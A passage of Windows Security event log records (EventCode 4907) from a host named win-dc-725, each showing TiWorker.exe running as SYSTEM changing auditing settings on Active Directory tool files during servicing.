	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ldp.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247404
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ldifde.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247403
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gpfixup.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247402
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsuiwiz.dll.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247401
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dssite.msc
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247400
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsrm.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247399
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsquery.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247398
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsmove.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247397
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsmod.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247396
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsmgmt.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247395
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsget.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247394
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsdbutil.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247393
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsadmin.dll.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247392
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsadd.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247391
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsacn.dll.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247390
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsacls.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247389
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsa.msc
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247388
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\domain.msc
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247387
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\domadmin.dll.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247386
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dcpromoui.dll.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247385
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dcpromocmd.dll.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247384
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dcdiag.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247383
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\csvde.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247382
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\adsiedit.msc
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247381
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\adsiedit.dll.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247380
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\adprop.dll.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247379
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en\Microsoft.ActiveDirectory.Management.resources.dll
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247378
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en\dsac.resources.dll
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247377
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\schmmgmt.dll
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247376
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\repadmin.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247375
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\rendom.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247374
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\redirusr.exe
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247373
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\redircmp.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247372
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntfrsapi.dll
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
